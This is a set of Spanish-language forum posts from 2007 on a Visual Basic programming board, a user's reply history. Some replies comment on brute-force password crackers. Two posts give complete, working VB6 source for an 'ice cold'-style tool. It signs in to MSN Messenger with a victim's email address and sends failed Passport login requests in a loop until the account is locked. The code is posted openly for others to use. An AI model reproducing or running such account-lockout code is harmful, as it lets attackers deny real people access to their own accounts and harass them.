| |
|
71
|
Programación / Programación Visual Basic / Re: Ayuda en fuerza bruta
|
en: 2 Agosto 2007, 03:53 am
|
|
El código ese me parece una chapuza (no es por desanimar) pero repites el código muchas veces el mismo, haces bucles sucesivos para mismas cosas, el tiempo es mejor sacar la hora del sistema al iniciar y luego ir sacando la hora del sistema y restarla. Yo no soy un experto en fuerza bruta, pero he visto códigos de 30 lineas que trabajaban con matrices que les pasabas una cadena con caracteres posibles y numero máximo de caracteres resultantes y te lo calculaban todo a velocidades inusuales en vb. Le pasabas a la función: X("abcdefghijklmnopqrstuvwxyz1234567890",9) y lo demás lo hacia ella sola. No se donde la vi, mañana intento mejorar tu code si tengo tiempo.
|
|
|
|
|
73
|
Programación / Programación Visual Basic / Re: Fabricando un congelador tipo ice cold en vb
|
en: 2 Agosto 2007, 01:21 am
|
Les he arreglado un poco el código, al entrar en el bucle la ventana puede no responder pero esta haciendo su trabajo: 'Codez by Kizar Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Private Const email = "su_messenger@hotmail.com" Dim ema As String, sta As Boolean
Private Sub Bloquear() WS.Close WS.RemoteHost = "messenger.hotmail.com" WS.RemotePort = 1863 WS.Connect End Sub
Private Sub Desbloquear() sta = False End Sub
Private Sub WS_Connect() WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10) End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim datos As String, tmp() As String, tmp2() As String WS.GetData datos Select Case Left(datos, 3) Case "VER" WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & email & Chr(13) & Chr(10) Case "CVR" WS.SendData "USR 3 TWN I " & email & Chr(13) & Chr(10) Case "XFR" tmp = Split(datos, " ") WS.Close WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5) WS.Connect Case "USR" tmp = Split(datos, " ") tmp2 = Split(email, "@") ema = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp2(0) & "%40" & tmp2(1) & ",pwd=crapware, " & tmp(4) sta = True Call Satura End Select End Sub
Private Sub Satura() Dim hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String Do While sta = True hopen = InternetOpen("MSMSGS", 1, 0, 0, 0) hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0) hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0) lgRep = HttpSendRequest(hRequest, ema, -1, 0, 0) stStatusCode = Space$(1000) HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0 InternetCloseHandle hopen InternetCloseHandle hConnection InternetCloseHandle hRequest Loop End Sub
Si el código les parece largo pueden cambiar "messenger.hotmail.com" por "207.46.109.50" y quitar este cacho de código: Case "XFR" tmp = Split(datos, " ") WS.Close WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5) WS.Connect
|
|
|
|
|
77
|
Programación / Programación Visual Basic / Re: Brute Force
|
en: 1 Agosto 2007, 15:29 pm
|
Puede ser....al debuguear un programa con el olly el programa trata la ventana casi siempre seguido....por eso crei que era asi.....  No trata a la ventana, pero la ventana recibe mensajes constantemente del sistema, como la posición, estado, focos...
|
|
|
|
|
78
|
Programación / Programación Visual Basic / Re: Brute Force
|
en: 1 Agosto 2007, 03:12 am
|
|
Cain es un excelente programa, el bruteforce de cain esta programando en asm. @Hendrix: En lo de consola o no consola no tienes razon, las ventanas no interfieren en ese proceso...ademas lo podrías hacer en un modulo, en todo caso vb no vale para esto.
|
|
|
|
|
80
|
Programación / Programación Visual Basic / Re: Fabricando un congelador tipo ice cold en vb
|
en: 1 Agosto 2007, 03:03 am
|
Lo hice hace tiempo y lo posteo, cualquiera con un sniffer puede hacerlo, yo tarde una media hora y mi código son unas pocas lineas. Todo en un formulario con: Textbox = Text1 Boton = Command1 = Bloquear Boton = Command2 = DesBloquear Label = Label1 Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Dim res As String Dim num As Integer
Private Sub Command1_Click() Label1.Caption = "Conectando al servidor..." WS.Close WS.RemoteHost = "messenger.hotmail.com" WS.RemotePort = 1863 WS.Connect End Sub
Private Sub Command2_Click() Timer1.Enabled = False Label1.Caption = "Cuenta desbloqueada" End Sub
Private Sub Timer1_Timer() Timer1.Enabled = False If num < 10 Then num = num + 1 Label1.Caption = "Bloqueando... [" & num * 10 & "%]" ElseIf num = 10 Then num = num + 1 Label1.Caption = "Cuenta bloqueada ;)" End If Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String hopen = InternetOpen("MSMSGS", 1, 0, 0, 0) hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0) hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0) tmp2 = Split(Text1.Text, "@") tmp4 = tmp2(0) & "%40" & tmp2(1) tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0) stStatusCode = Space$(1000) HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0 InternetCloseHandle hopen InternetCloseHandle hConnection InternetCloseHandle hRequest Timer1.Enabled = True End Sub
Private Sub WS_Connect() WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10) Label1.Caption = "Conectado" End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim datos As String WS.GetData datos
Select Case Left(datos, 3) Case "VER" WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10) Case "CVR" WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10) Case "XFR" Dim tmp() As String tmp = Split(datos, " ") WS.Close WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5) WS.Connect Case "USR" Dim tmp2() As String tmp2 = Split(datos, " ") res = tmp2(4) num = 0 Timer1.Enabled = True End Select End Sub
|
|
|
|
|
|
| |
|